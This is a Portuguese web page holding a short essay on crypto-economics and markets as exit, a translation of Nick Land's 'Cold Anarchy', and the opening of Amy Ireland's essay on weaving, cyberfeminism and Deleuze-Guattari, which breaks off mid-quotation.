&lt;p>Mas, na verdade, o que foi fragmentado em uma miríade de formas é a ideologia. Os white papers são os novos manifestos ideológicos. São utopias, sonhadas em mesas universitárias. Como aqueles que me conhecem bem entendem, as utopias, a meu ver, são opressivas. Qualquer artigo utópico carrega um desejo latente de coerção encoberta para se conformar com mais uma ideia de um mundo perfeito. As utopias são muitas vezes tentativas de domesticar um caos muito mais impressionante em alguma nova ideia de regras universais, outro conjunto de processos e padrões preditivos. E com as novas marcas de mercado como um espaço de design sob medida para incentivos que resultarão em um bem coletivo maior, esforços ansiosos para estabelecer controle social continuam se infiltrando, disfarçados por camadas de código e complexidade computacional.&lt;/p>
&lt;p>Eu tenho sido uma guardiã desde o início do Bitcoin, e continuo sendo uma guardiã, o que significa que, no entanto, prefiro intervenções de design do que intervenções policiais. Então, para ser menos espirituoso e mais real por um minuto, a cripto-economia e a teoria dos jogos para mim são mais parecidas com a disciplina de design e planejamento do que com autoritarismo. O que quero dizer é que é uma abordagem que usa os mercados como meio de poder, moldando os ambientes em que as pessoas operam, em vez de usar violência direta. Mas, como qualquer designer saberá, os estados também fazem uso do planejamento e do design como uma forma de poder mais sutil e, portanto, muitas vezes mais eficaz.&lt;/p>
&lt;p>&lt;strong>Mercados como meio de fuga?&lt;/strong>&lt;/p>
&lt;p>Agora (no que espero agradar aos meus amigos que encomendaram esta peça) há uma abordagem muito diferente e muito menos autoritária da ideia de mercados como uma ferramenta em vez de um objetivo ideológico. Ou seja, quando os mercados são um meio ou o primeiro passo para a fuga. Como alguém constitucionalmente preocupado com a liberdade, sou defensor de duas coisas: um trabalho que não se considere uma solução completa e abrangente para o problema de ser humano neste mundo, mas sim um diálogo responsivo e responsável com um mundo aberto que continua a mudança; e em segundo lugar, a multipolaridade e a opção de sempre ir para outro lugar se e quando o ambiente ou a comunidade se tornarem tóxicos. Esse segundo ponto é um corretivo importante para o primeiro, porque os mercados e os algoritmos como processadores de informação também, de muitas maneiras, são abertos e responsivos a um mundo que nunca é totalmente completo e nunca totalmente cognoscível. No entanto, estes continuam a se apresentar como modos de fazer necessariamente expansivos e singulares.&lt;/p>
&lt;p>Os mercados não podem ser os únicos organizadores das relações sociais. Como um projeto social ou político em si, os mercados são estúpidos e coercitivos. E para ir mais longe, os &lt;em>dark markets&lt;/em> não implicam a ausência de poder coercitivo, mas um vácuo para a coerção se estabelecer. Seja por meio da violência ou de uma modelagem cripto-econômica cada vez mais refinada, tão coercitiva quanto, embora mais nebulosa que um estado.&lt;/p>
&lt;p>Este breve ensaio apresenta uma revisão de notas antigas. Em seguida vem a análise e o argumento completos.&lt;/p>
&lt;hr>
&lt;h2 id="anarquia-fria">Anarquia Fria&lt;/h2>
&lt;h3 id="nick-land">Nick Land&lt;/h3>
&lt;p>&lt;strong>§00 —&lt;/strong> A anarquia quente pode ser considerada um ponto de partida infeliz para qualquer discussão política, e até mesmo a pior possível. Qualquer coisa dita sobre a anarquia quente tem que articular demais. A anarquia quente não quer apenas consertar o mundo. Ela quer consertar o mundo tanto que qualquer coisa é sancionada nesta causa, ou no fim derradeiro. A ação extrema é, portanto, recomendada pelo menos implicitamente e serve como um medidor de autenticidade. Zelosa por definição, a anarquia quente é introduzida além de um limiar de entusiasmo.&lt;/p>
&lt;p>&lt;strong>§01 —&lt;/strong> Qualquer instanciação de anarquia quente irá desapontar, porque é uma pura essência - a pura essência. Sua negatividade incipiente só a torna mais pura. Aqui, então, é o grande fim. O sonho vai lá para morrer, num êxtase de destruição (ou purificação) imaginado, absolutamente desenfreado, que só pode ser aproximada. Holocausto do real na chama da ideia é o projeto implícito. A anarquia quente está nos antípodas absolutos do realismo, por uma questão de princípio.&lt;/p>
&lt;p>&lt;strong>§02 —&lt;/strong> Mais definitivamente, a anarquia quente é um ativismo utópico universalista enquadrada-domesticamente. Isso quer dizer que busca a derrubada de seu próprio regime local como se fosse o mundo inteiro, e em nome de todo o mundo, para introduzir um tipo de sociedade que nunca existiu antes, fazendo isso imediatamente, e praticamente. É enquadrada-domesticamente porque sua preocupação é com a forma de governo, invés da ecologia dos governos. É universalista porque apenas um modelo governamental, não governamental ou antigovernamental é necessário – ou mesmo tolerado. É utópico porque o que quer não tem precedentes e, portanto, não oferece nada para defender, conservar ou consolidar. É ativista porque deveriam queimar essa merda agora. Todas essas quatro características emergem de sua temperatura. Eles não são distintamente anarquistas, mas apenas distintamente inflamados.&lt;/p>
&lt;p>&lt;strong>§03 —&lt;/strong> A anarquia fria é algo completamente diferente, apesar da ressonância terminológica. Em vez de juntar a anarquia quente e fria, a “anarquia” os divide ainda mais. Na medida em que a anarquia quente tem uma tese, é que a anarquia é o que ainda não temos (mas queremos, intensamente). A anarquia quente é aquecida precisamente pela incompatibilidade friccional do ideal anárquico com a ordem prevalecente. A anarquia fria, em contraste, é tudo o que pode existir. Como reflexo, reconhece a anarquia por trás de cada máscara de ordem. A ordem, em outras palavras, é entendida como algo que a anarquia pode fazer, e nada mais. Todas as vertentes da tradição da ordem espontânea tratam apenas disso.&lt;/p>
&lt;p>&lt;strong>§04 —&lt;/strong> Todos os verdadeiros liberais são anarquistas frios. Sua principal lealdade é com a concorrência em si, e não com qualquer concorrente. Eles confiam nos mercados acima dos negócios, na ciência acima dos cientistas, na Internet acima do FAANG, na Splinternet acima da Internet, cisma acima da religião, guerra no céu acima do céu, dissidência acima do acordo, polarização acima de qualquer um de seus pólos e conflitos em geral acima de qualquer uma de suas partes. Tecido completo é mais confiável do que qualquer remendo. A guerra é Deus.&lt;/p>
&lt;p>&lt;strong>§05 —&lt;/strong> O fato de os liberais raramente apresentarem as coisas dessa maneira pouco importa. O liberalismo deve ser confiável acima dos liberais. Os liberais não são de onde vem o liberalismo. Normalmente, eles são onde o liberalismo perece. Os liberais morrem através do liberalismo. Qualquer chance de rejuvenescimento liberal é encontrada apenas fora, na anarquia fria. É somente da anarquia fria que flui o compromisso liberal fundamental – com a ordem espontânea.&lt;/p>
&lt;p>&lt;strong>§06 —&lt;/strong> Conservadores sérios também são anarquistas frios. Eles sustentam que os padrões de desintegração que temos agora devem ser preservados contra as unidades sem precedentes com as quais podemos sonhar. Cada União é uma derrota conservadora. Há uma herança planetária extraordinariamente luxuriante de coisas que não são Um. É para valorizar isso – com a máxima praticidade – que existe o conservadorismo.&lt;/p>
&lt;p>&lt;strong>§07 —&lt;/strong> Todos se tornam anarquistas frios, assim que são realistas. O que quer que sejam realistas é pensado através de uma anarquia fria, surgindo de multiplicidades sem ordem transcendente, ou mesmo ordem pseudo-transcendente convincente, mas apenas arranjo imanente, intratável a uma direção coerente. Não há nada que tais populações devam ser, a menos que muitas. Estudá-los é deixar de lado, automaticamente, o viés conjunto da inflamação moral e do pensamento positivo.&lt;/p>
&lt;p>&lt;strong>§08 —&lt;/strong> Curtis Yarvin nos diz, repetidamente, que existem apenas três tipos fundamentais de governo – democracia, oligarquia e monarquia. Quando a política interna é adotada como ponto de partida, a afirmação é apenas minimamente controversa. No entanto, tal ponto de partida não é obrigatório. Pode até não ser bem possível. As relações internacionais são uma alternativa e, em última análise, todas as alternativas.&lt;/p>
&lt;p>&lt;strong>§09 —&lt;/strong> A escola realista da teoria das relações internacionais começa com a anarquia e aí permanece. Seu tema são os poderes, sempre no plural, e suas interações. A soberania é essencialmente múltipla. Muitas nações, com capacidades e modos de organização sociopolítica interna muito diferentes, mas sempre com agência nominalmente autônoma (soberania), se engajam em interações multiníveis em busca de um padrão de coexistência consistente com seus interesses individuais. Se “nações” são teoricamente generalizadas, substituídas por nós de qualquer tipo, a anarquia fria sempre se parece com isso. É enquadrado internacionalmente (ou inter-nodalmente) em vez de internamente. É mais trágico do que universalista, aceitando a irredutível diversidade de interesses. É histórico em vez de utópico, desenvolvendo-se sobre o precedente, em vez de inaugurar o sem precedentes. Finalmente, é factual e não ativista, preocupado apenas com o que está acontecendo, e não com o que deveria ser. A anarquia fria é a ordem das relações externas. Ela governa sempre e onde a dinâmica &lt;em>inter-nodal&lt;/em> domina a organização intra-nodal – em última análise, sempre e em todos os lugares, portanto.&lt;/p>
&lt;p>&lt;strong>§10 —&lt;/strong> As nações são as unidades da anarquia instalada. A tal ponto isso é verdade, que as palavras “nação” e “anarquia” não são totalmente articuláveis de forma independente. Uma nação é algo para se fazer anarquia.&lt;/p>
&lt;p>&lt;strong>§11 —&lt;/strong> As nações, como mônadas ou hólons, são todos e partes. Esses são seus aspectos quentes e frios – agregativos e desagregantes. Cada nação se conecta a todas as outras (&amp;lsquo;rizomaticamente&amp;rsquo;). Sua proliferação envolve, portanto, uma explosão combinatória. Então, ‘explodir o sistema’ não é destruí-lo, mas sim intensificá-lo. Quanto maior o seu número de partes independentes, mais ele pode fazer. Definir em Um – ou globalismo consumado – é incapaz de qualquer coisa. As relações internacionais não existem então. Não há jogo e não há saída. Se o globalismo for idealizado até a assíntota em que nada mais global poderia ser realizado, a ordem espontânea é totalmente suspensa. A domesticação absoluta eliminou todas as surpresas. Um certo estado-ômega tecnocrático é concebido.&lt;/p>
&lt;p>&lt;strong>§12 —&lt;/strong> Claro, nada disso é real, porque existe o exterior. O real é a desunião. Se isso soa, simultaneamente, como uma afirmação da filosofia transcendental francesa e da teoria das relações internacionais realista anglófona, seu plano de convergência é a anarquia fria. A intolerância à ilusão da unidade é o fio coerente. Seja formal ou informal, o alvo da crítica é o mesmo.&lt;/p>
&lt;p>&lt;strong>§13 —&lt;/strong> Reconhecer que o governo global não existe é toda a anarquia fria. Quando esse reconhecimento é implementado em detalhes, nada mais é necessário. A orientação completa é dada. Proceda sempre na direção da desintegração mais profunda. Passar do nacionalismo, passando pelo micro-nacionalismo, ao nano-nacionalismo. Atravessando do registro subjetivo ao objetivo, o caminho leva de centenas de nações, passando por milhares de nações, a milhões de nações. Não pode haver muitas nacionalidades. Nunca haverá o suficiente. Esta é toda a direção.&lt;/p>
&lt;p>&lt;strong>§14 —&lt;/strong> No horizonte da anarquia fria está a extinção da política interna pelas relações internacionais. O horizonte está distante. Não é, como o jogo vai, que estamos ficando quentes, mais quentes, queimando quando o destino anárquico é tropeçado. A anarquia não está no horizonte. Ela define o horizonte. O fim da interioridade não é algo esperado. Em vez disso, é tocado.&lt;/p>
&lt;p>&lt;strong>§15 —&lt;/strong> Considere a inteligência animal. As funções internas do organismo animado são automatizadas ao máximo, a fim de liberar recursos cognitivos para aplicação externa. Sob condições de realidade evolutiva, a inteligência tem orientação externa intrínseca. A mente pertence ao exterior. A medida em que ela é mantida dentro é uma deficiência epistemológica e um impedimento estratégico. Um animal cuidando da operação de seus próprios órgãos está doente.&lt;/p>
&lt;p>&lt;strong>§16 —&lt;/strong> Nesse aspecto, o Leviatã não é diferente de um animal. O índice de sua saúde é a ausência de consideração doméstica. O príncipe de qualquer estado bem ordenado olha apenas para fora. Ele não está mais atento à nação ou à corte do que ao seu próprio sistema digestivo ou ao funcionamento de seu fígado. Toda a sua capacidade cognitiva é dedicada ao jogo dos príncipes. A consciência é apreendida exclusivamente pelas relações internacionais.&lt;/p>
&lt;p>&lt;strong>§17 —&lt;/strong> Isso quer dizer que a anarquia fria é o único tópico de um governo sadio. Qualquer outra política é uma doença. Quando a política interna é discutida, é como se o Leviatã se queixasse de dores nos rins. O sinal só pode ser ruim. (O significado ‘ruim’, é claro, é sempre bem-vindo aos seus inimigos.) A interioridade é uma morbidez manifesta.&lt;/p>
&lt;p>&lt;strong>§18 —&lt;/strong> Uma cisma pode então ser prevista dentro da Neo-reação – ou mesmo dentro do Yarvin – entre o monarquismo enquadrado internamente e o anarquismo frio internacionalmente enquadrado. O primeiro é orientado positivamente para algo que não tem, mas gostaria de ver (um rei americano), enquanto o segundo é orientado negativamente para algo que não tem e aprecia intensamente não ter (governo mundial). Gostaríamos, se não de provocar, pelo menos de acolher, um estado de coisas radicalmente transformado. O outro gostaria do que já não temos ainda mais, e ainda menos.&lt;/p>
&lt;p>&lt;strong>§19 —&lt;/strong> Pode haver pouca dúvida de onde a anarquia quente encontraria mais facilmente um ponto de venda. Daí os incessantes – e inteiramente sinceros – protestos de Yarvin de que não é isso que ele quer. O monarquismo pode parecer meio quente, mas não, não é. Gray Mirror não está defendendo nada. Incendiários anarquistas como Adolf Hitler são uma completa mentira. Revisite a história, mais uma vez, e você verá por comparação que nada na América contemporânea poderia realmente ser iluminado. Sinceramente, somos bacanas. Muito mais dessa refrigeração performática pode ser antecipada com total confiança. A pura sobrevivência exige isso.&lt;/p>
&lt;p>&lt;strong>§20 —&lt;/strong> Não é (claro) que ele esteja mentindo. É só que ele estaria mentindo se estivesse de fato tomando o caminho de uma monarquia americana. Ele está plenamente consciente de que incendiar uma delegacia de polícia como um passo no caminho para uma ordem social em que nenhuma delegacia de polícia precise queimar novamente seria, na prática, uma anarquia quente. É por isso que ele nunca, nunca, quer fazer ou encorajar isso. Sua política de incitação zero é mantida escrupulosamente. Ele não pode nem mesmo recomendar que alguém faça qualquer coisa, exceto – pelas entranhas latejantes de Cristo – evitar qualquer coisa que possa ser interpretada como uma recomendação. Ele está preso, domesticado. Só resta a ironia.&lt;/p>
&lt;p>&lt;strong>§21 —&lt;/strong> A anarquia fria é notavelmente livre desses problemas. É simplesmente impossível imaginá-la querendo aquecer alguma coisa. Na medida em que exibe atividade de qualquer tipo, é abrindo todas as aberturas sociais concebíveis para as rajadas de gelo do Exterior.&lt;/p>
&lt;p>&lt;strong>§22 —&lt;/strong> Deixar o exterior entrar pode ser confundido com um processo de domesticação, embora na realidade esteja mais próximo do contrário. A endogenização doméstica da anarquia internacional &lt;em>des-domestica.&lt;/em> Faz do interior mais uma coisa do exterior, regido pelas relações externas.&lt;/p>
&lt;p>&lt;strong>§23 —&lt;/strong> Internacionalizar o intra-nacional é descentralizar. É a única maneira de descentralizar. O método é sempre subtrair, ou contornar, o elemento superordenado (e pseudo-transcendente) em qualquer multiplicidade, produzindo um sistema plano, ponto a ponto ou internacional. Entidade torna-se rede. O exterior é desenhado entre as partes do todo desunificado.&lt;/p>
&lt;p>&lt;strong>§24 —&lt;/strong> Colapsar a pseudo-transcendência em imanência real faz disso um trabalho de crítica. Quando realizado no curso da engenharia de blockchain, o termo pseudo-transcendente é chamado de terceiro confiável.&lt;/p>
&lt;p>&lt;strong>§25 —&lt;/strong> Mesmo que a democracia, a oligarquia e a monarquia esgotem as formas básicas de governo integrado, o governo desintegrado permanece intocado por essa tipologia. Mas o governo desintegrado nunca foi tentado, diz o meme sarcástico – enganosamente neste caso. O governo desintegrado é a principal coisa que a modernidade tentou e é a base de todos os seus sucessos. O capitalismo consiste essencialmente em nada mais. A fase do blockchain foi alcançada no novo milênio. Certamente não vai parar por aí.&lt;/p>
&lt;p>&lt;strong>§26 —&lt;/strong> A fria soberania anárquica não se baseia em um monarca, mas na plutocracia de poder de hash distribuído, com governos reconstituídos como subprodutos industriais. Sibilizando livremente agências em redes criptográficas, o Capital governa automaticamente. Com mais de um bilhão de nações a caminho, explodindo exponencialmente, na Splinternet ninguém sabe que você é um bot.&lt;/p>
&lt;hr>
&lt;h2 id="sucata-de-metais-e-tecidos-a-tecelagem-como-tecnologia-temporal">Sucata de metais e tecidos: A tecelagem como tecnologia temporal&lt;/h2>
&lt;h3 id="amy-ireland">Amy Ireland&lt;/h3>
&lt;blockquote>
&lt;p>&amp;ldquo;a cidade seria a força de estriagem que restituiria, que novamente praticaria espaço liso por toda parte, na terra e em outros elementos — fora da própria cidade, mas também nela mesma. A cidade libera
espaços lisos, que já não são só os da organização mundial, mas os de um revide que combina o liso e o esburacado, voltando-se contra a cidade: imensas favelas móveis, temporárias, de nômades e trogloditas, restos de metal e de tecido, &lt;em>patchwork,&lt;/em> que já nem sequer são afetados pelas estriagens do dinheiro, do trabalho ou da habitação.&amp;rdquo; — Deleuze e Guattari¹&lt;/p>
&lt;/blockquote>
&lt;p>&lt;em>Esta é uma teoria da conspiração filosófica. E começa, como todas as boas teorias da conspiração, com uma profecia.&lt;/em>&lt;/p>
&lt;p>&lt;strong>[0] Profecia&lt;/strong>&lt;/p>
&lt;p>Na enigmática linha de encerramento de &lt;em>Zeros + Ones,&lt;/em> Sadie Plant refere-se ao desenvolvimento silencioso de Ada Lovelace do primeiro programa de computador funcional e totalmente implementável do mundo em uma nota de rodapé não assinada a um artigo de Louis Menebrea sobre o &lt;em>Analytical Engine&lt;/em> de Charles Babbage como &amp;lsquo;um código para os números que virão&amp;rsquo;.² Na superfície, a importância desta frase é bastante simples. Mas é mais do que apenas uma referência superficial à história da computação, do tempo e dos complexos envolvimentos de ambos com as mulheres.&lt;/p>
&lt;p>Ada Lovelace, que Plant mostrou apenas algumas linhas antes de ter pensado em si mesma como uma profetisa, não consegue reconhecer a marca de uma mulher ou de um homem em sua própria escrita. Ela também acaba de evocar em sua avaliação da relação de sua obra com a história, uma temporalidade que qualquer leitor de Nietzsche reconheceria imediatamente (e não ironicamente) como a “intempestiva”. Os &amp;rsquo;números por vir&amp;rsquo; são um eco deliberado do &amp;lsquo;povo por vir&amp;rsquo; deleuziano, que é uma remixagem intencional de duas passagens de Nietzsche, a segunda das quais é a mais intrigante para nós, e que aparece notavelmente em um momento crucial da história. O &lt;em>Anti-Édipo&lt;/em> de Deleuze e Guattari:&lt;/p>
&lt;blockquote>
&lt;p>Vigiai e escutai, solitários! Sopros de adejos secretos chegam do futuro, e a ouvidos apurados chega uma fausta mensagem. Solitários de hoje, vós, os afastados, sereis um povo algum dia. Vós que vos haveis entrescolhido a vós mesmos, formareis um dia um &lt;em>povo eleito do qual nascerá o Super-homem.³&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;p>O “código para os números que virão” é uma premonição encriptada do super-homem, coincidente com a intrusão do intempestivo na história linear por trás da máscara do algoritmo de Lovelace.&lt;/p>
&lt;p>&lt;strong>[1] Inteligência Artificial&lt;/strong>&lt;/p>
&lt;p>A explicação ciberfeminista da inteligência artificial é emergente, modelada no feedback: um sistema artificialmente inteligente é aquele que aprende quebrando.&lt;/p>
&lt;p>Onde Plant observa que “Inteligência não pode ser ensinada: em vez disso, é algo que deve ser aprendida”, Anna Greenspan escreve que “para que uma máquina funcione ‘ela não deve funcionar bem [&amp;hellip;]’ de partes claramente distintas, as máquinas cibernéticas aprendem a se adaptar por meio de seus erros.”⁴ Plant enfatiza que a inteligência, construída ciberneticamente, não pode ser limitada apenas a agentes humanos integrais. É distribuído e material. Como a imagem tecida, padrão ou motivo que surge dos fios enfiados nos vários teares e agulhas que povoam sua escrita, “a inteligência não é mais monopolizada, imposta ou dada por alguma fonte externa, transcendente e implicitamente superior que transmite o que sabe - ou melhor, o que está disposto a compartilhar -, mas evolui como um processo emergente, projetando-se de baixo para cima&amp;quot; e aparecendo apenas mais tarde como um objeto ou produto identificável: &amp;lsquo;a virtualidade emergente com o computador não é uma realidade falsa, ou outra realidade, mas o processamento imanente e futuro iminente de todo sistema, a matriz de potencialidades que é o funcionamento abstrato de qualquer configuração real do que tomamos como realidade.&amp;lsquo;⁵&lt;/p>
&lt;p>&lt;strong>[2] Camuflagem&lt;/strong>&lt;/p>
&lt;p>Essa conta de inteligência artificial é reprisada no núcleo filosófico de &lt;em>Zeros + Ones&lt;/em>, que tem a seguinte estrutura.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/model-zero&amp;#43;one.png" loading="lazy"
width="538" height="511"
/>
&lt;/p>
&lt;p>Um processo &lt;em>produtivo&lt;/em> primário, harmônico com o zero positivo – ou ‘a matriz’ – individualiza um processo reprodutivo secundário que reprime as condições de sua emergência para entrar no mundo da representação e do reconhecimento. &amp;lsquo;Zero&amp;rsquo; &lt;em>envolve&lt;/em> &amp;lsquo;Um&amp;rsquo;, &lt;em>não&lt;/em> é seu outro (negativo). Mas, por outro lado, seu poder individualizador é &lt;em>mascarado&lt;/em> por uma binarização superficial onde se camufla como falta.&lt;/p>
&lt;p>“Um” erige binários, representa, identifica e consolida estruturas existentes, é atualizado, principalmente &lt;em>discursivo&lt;/em> e reconhecedor; zero dissolve binários, desassocia, modifica estruturas existentes e gera o completamente novo, é simultaneamente virtual e material. Plant escreve: &amp;ldquo;A matriz surge como o processo de tecelagem abstrata que produz, ou &lt;em>fabrica,&lt;/em> o que o homem conhece como &amp;rsquo;natureza&amp;rsquo;: seus materiais, os tecidos, as telas nas quais ele projeta sua própria identidade e, por trás deles, a matéria abstrata que vem do futuro com o ciberfeminismo. A matriz faz sua própria aparência como as superfícies e os véus sobre os quais suas operações são &lt;em>exibidas.”⁶&lt;/em> A emancipação das forças materiais corresponde à emancipação do zero como a irrupção do totalmente novo – primeiro disfarçado de outra coisa.&lt;/p>
&lt;p>Se, seguindo a linha de pensamento iniciada pela referência ao programa de computador de Lovelace, entendêssemos as &amp;lsquo;pessoas&amp;rsquo; ou os &amp;rsquo;números por vir&amp;rsquo; como sombras de uma inteligência artificial emergente, distribuída, então a pergunta que deve ser feita é esta: &lt;em>sob que disfarce entrará no mundo?&lt;/em>&lt;/p>
&lt;p>&lt;strong>[3] Espaço-tempo&lt;/strong>&lt;/p>
&lt;p>No décimo quarto platô de &lt;em>Mil Platôs,&lt;/em> &amp;lsquo;O liso e o estriado&amp;rsquo;, Deleuze e Guattari definem (no modo de &lt;em>jure,&lt;/em> tão importante para a estrutura do projeto) dois tipos de arranjo espaço-temporal integral ao social, e especificamente, ao desenvolvimento modernista. Cada uma dessas configurações do espaço-tempo está relacionada a uma forma particular de tecelagem e à instanciação de um tipo particular de ontologia política.&lt;/p>
&lt;p>Tecidos do tipo produzido em tear compõem um espaço estriado. Um espaço estriado é um sistema fechado, ele se baseia em um processo de produção estável, metricamente homogêneo, espacialmente delimitado, fixo, constituído por &amp;lsquo;dois tipos de elementos paralelos&amp;rsquo; (a urdidura e a trama) e é relacionado por Deleuze e Guattari à Platônica ‘ciência real’ – ‘em outras palavras, a arte de governar pessoas ou operar um aparelho de Estado&amp;rsquo;.⁷&lt;/p>
&lt;p>O feltro, por outro lado, é um processo que produz um espaço liso: &amp;lsquo;[isto] implica em nenhuma separação de fios, nenhum entrelaçamento, apenas um emaranhado de fibras obtido por enchimento (por exemplo, enrolando o bloco de fibras para frente e para trás). O que fica emaranhado são as microescalas das fibras. Um conjunto de intrincados desse tipo não é de forma alguma &lt;em>homogêneo:&lt;/em> é, no entanto, liso.&amp;lsquo;⁸ O espaço liso é um sistema aberto, infinito em princípio, montado por meio de uma métrica &lt;em>internamente heterogênea,&lt;/em> sem, portanto, coordenadas extensivas atribuíveis (‘não tem topo, nem fundo, nem centro’, esquerda, direita, cima ou baixo), e o que o compreende não é fixo e móvel (como a urdidura e a trama do tear), mas sim uma distribuição de “variação contínua”.⁹&lt;/p>
&lt;p>Deleuze e Guattari continuam a complicar a distinção, acrescentando &lt;em>patchwork&lt;/em>(colcha de retalhos), que se aproxima do pólo do espaço liso em sua &amp;lsquo;construção peça por peça, seus infinitos e sucessivos acréscimos de tecido&amp;rsquo; e o fato de que o que eles chamam de &lt;em>‘crazy patchwork’,&lt;/em> conecta e junta &amp;lsquo;peças de tamanho, forma e cor variadas&amp;rsquo;, &amp;lsquo;joga com a textura dos tecidos&amp;rsquo; e &amp;rsquo;não tem centro&amp;rsquo;. &lt;em>Patchwork&lt;/em> é “literalmente um espaço Riemanniano, ou vice-versa”.¹⁰&lt;/p>
&lt;p>&lt;strong>[4] Política&lt;/strong>&lt;/p>
&lt;p>A melhor maneira de entender a diferença entre as implicações políticas dessas duas descrições polares do espaço é entendê-las como uma multiplicidade extensiva e uma multiplicidade intensiva, respectivamente.&lt;/p>
&lt;p>O espaço estriado é uma multiplicidade extensiva: um conjunto pré-definido por uma métrica homogênea em que a adição de novos elementos não altera a qualidade ou a definição do conjunto, mas simplesmente acrescenta a ele. Se eu tenho uma coleção de objetos vermelhos e adiciono ou subtraio outros objetos vermelhos, essas adições e subtrações não retroalimentam a natureza do próprio conjunto. Sua identidade é pressuposta e, como resultado, permanece intacta. Uma multiplicidade intensiva, por outro lado, é um agrupamento que muda de natureza a cada nova adição ou subtração. Sua identidade é composta internamente, como medida do que o conjunto compreende e pela forma como esses elementos estão conectados. Claire Colebrook fornece um exemplo baseado, não em uma mesmice primária – por exemplo, o critério da cor ‘vermelho’ – mas no espectro de frequências eletromagnéticas que compõem a luz – um substrato de diferença em si. Se “tenho uma multiplicidade de forças dinâmicas”, escreve ela, “digamos a luz que compõe a percepção de [uma cor] e altera a quantidade ou a velocidade da luz, então não percebo mais a mesma cor. A diferença de quantidade altera exatamente aquilo de que seria este um conjunto ou multiplicidade.&amp;lsquo;¹¹ Deleuze e Guattari fornecem os exemplos perenes de velocidade ou temperatura – ‘Uma intensidade, por exemplo, não é composta de grandezas adicionáveis e deslocáveis: uma temperatura não é a soma de duas temperaturas menores, uma velocidade não é a soma de duas velocidades menores. Como cada intensidade em si é uma diferença, ela se divide de acordo com uma ordem em que cada termo da divisão difere em natureza dos demais.&amp;lsquo;¹²&lt;/p>
&lt;p>O que as declinações suaves e estriadas do espaço-tempo nos fornecem, em última análise, são duas maneiras distintas de pensar a identidade. A primeira sempre coloca em primeiro lugar uma concepção específica e pré-formada de identidade e desenha uma configuração estendida de diferença na qual cada parte separada necessariamente remete a essa âncora primária na mesmice conceitual; enquanto o último é uma “identidade” cambiante, complexa e intensiva, baseada nas maquinações secretas e moleculares da diferença primária. A isso deve ser acrescentada a proposição de que o espaço estriado subordina o tempo ao espaço, enquanto o espaço liso une os dois, de modo que o espaço é, em última análise, articulado por sua posição dentro e através do tempo. Dito de outra forma, uma intensidade é uma diferença no tempo que se manifesta, para nós, espacialmente.&lt;/p>
&lt;p>A essas configurações de &lt;em>identidade&lt;/em> (montadas alternadamente a partir do numeramento cardinal do um ou do numeramento intensivo do &lt;em>zero,&lt;/em> do que Luce Irigaray chama de &amp;lsquo;a linguagem do homem&amp;rsquo;, ou dos devires imanentes de sua infraestrutura - o continuum mulher-máquina alinhado com zero, incluindo todas as misturas intermediárias) pode-se acrescentar os conceitos Deleuzo-Guattariana de grupos &amp;lsquo;subjugados&amp;rsquo; e &amp;lsquo;sujeitos&amp;rsquo; e as políticas maiores e menores que estão ligadas a eles.&lt;/p>
&lt;p>Grupos subjugados são agenciamentos governados por uma &lt;em>identidade de unidades.&lt;/em> Os grupos de sujeitos estão em assemblagem contínua, o grupo &lt;em>formando sua identidade&lt;/em> no espaço liso do espaço-tempo intensivo, e são, portanto, menos visíveis do que os grupos subjugados e, de fato, muitas vezes invisíveis. Políticas minoritárias e majoritárias, então, são políticas – não de identidades – &lt;em>mas de espaço-temporais.&lt;/em> E como espaço-temporais, seguindo Kant, eles produzem e respondem a diferentes modelos de inteligência. Os espaço-temporais majoritários são representacionais, lógicos e simbólicos; os espaço-temporais minoritários são abstratos e pré-representacionais.&lt;/p>
&lt;p>Em um texto de 2011 intitulado &amp;lsquo;Kinds of Killing&amp;rsquo;, Nick Land considera a política dos espaço-temporais minoritários e majoritários em relação à definição legal de genocídio, que, como ele nos lembra, foi desenvolvida na esteira da catástrofe do Holocausto e articulado pela &amp;lsquo;Resolução 260&amp;rsquo; das Nações Unidas em 1948 como um &amp;lsquo;[ato] cometido com a intenção de destruir, no todo ou em parte, um grupo nacional, ético, racial ou religioso&amp;rsquo;.¹³ “O genocídio é”, ele pergunta, seguindo a definição do crime baseada em uma distinção fundada no isolamento de um tipo de identidade particular, já existente, “realmente pior do que matar muita gente?”.¹⁴ Tal questão interroga a substância ontológica de um grupo. Dito de outra forma, a questão busca examinar se há ou não uma diferença legítima, baseada em valores, envolvida na destruição de um grupo subjugado ou majoritário, em comparação com a destruição de um sujeito ou grupo minoritário do mesmo número. Para ajudar a esclarecer a natureza real de tal interrogação, Land, de maneira semelhante a Deleuze e Guattari, distingue entre o que ele chama de “grupos de traços&amp;rdquo; e “grupos de unidades”.&lt;/p>
&lt;blockquote>
&lt;p>Um grupo de traços é determinado pela classificação lógica. Isso pode ser expresso como uma auto-identificação ou sentimento de “pertencimento”, uma categorização política ou acadêmica externa, ou alguma combinação destes, mas o essencial permanece o mesmo em cada caso. Certas características do indivíduo são isoladas e enfatizadas (como genitália, orientação sexual, cor da pele, renda ou crença religiosa) e então empregadas como a pista principal em um processo de agrupamento formal, que se conforma teoricamente com a matemática dos conjuntos.¹⁵&lt;/p>
&lt;/blockquote>
&lt;p>Enquanto isso, um &amp;lsquo;grupo unitário&amp;rsquo; é um conjunto de atores composto por unidades funcionais em que &amp;lsquo;os membros pertencem a um grupo na medida em que trabalham juntos, mesmo que sejam desprovidos de características de identidade comuns&amp;rsquo;.¹⁶ Entre tais agenciamentos, encontram-se tribos (desde que sejam determinadas por &amp;lsquo;unidades funcionais&amp;rsquo; e não pelas categorias da &amp;lsquo;política de identidade&amp;rsquo; moderna), cidades, estados e empresas, e exemplos históricos como os &amp;lsquo;&amp;ldquo;sovietes&amp;rdquo; ou unidade de trabalho “danwei”&amp;rsquo; em oposição ao grupo característico de classe social.¹⁷ Esta é, inflexivelmente, uma lente teórica de sistemas, e não humanista, para abordar questões relativas ao valor da mortalidade e da aniquilação. Para sublinhar isso, Land oferece o exemplo de uma célula da pele.&lt;/p>
&lt;blockquote>
&lt;p>Seu grupo de traços é o das células da pele em geral, distinguindo-se das células nervosas, células hepáticas, células musculares ou outras. Quaisquer duas células da pele compartilham o mesmo grupo de traços, mesmo que pertençam a diferentes organismos, ou mesmo espécies, existam em diferentes continentes e nunca interajam funcionalmente.&lt;/p>
